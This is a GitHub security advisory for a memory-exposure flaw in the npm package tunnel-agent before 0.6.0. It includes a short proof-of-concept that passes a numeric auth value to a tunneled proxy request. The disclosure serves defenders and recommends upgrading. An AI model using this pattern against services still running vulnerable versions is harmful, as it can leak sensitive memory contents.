GitHub Advisoryadvisory · npm
GHSA-xc7v-wxcw-j472 Memory Exposure in tunnel-agent
MEDIUM
Official page ↗
- Ecosystem
- npm
- Packages
- tunnel-agent
- Severity
- Moderate
- Weaknesses
- CWE-200
- Reviewed
- 2019-06-03
Affected packages
• npm tunnel-agent: < 0.6.0 → fixed in 0.6.0
Description
Versions of `tunnel-agent` before 0.6.0 are vulnerable to memory exposure.
This is exploitable if user supplied input is provided to the auth value and is a number.
Proof-of-concept:
```js
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:'127.0.0.1',
port:8080,
auth:USERSUPPLIEDINPUT // number
}
});
```
Recommendation
Update to version 0.6.0 or later.
Related
Weakness · CWE (1)
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness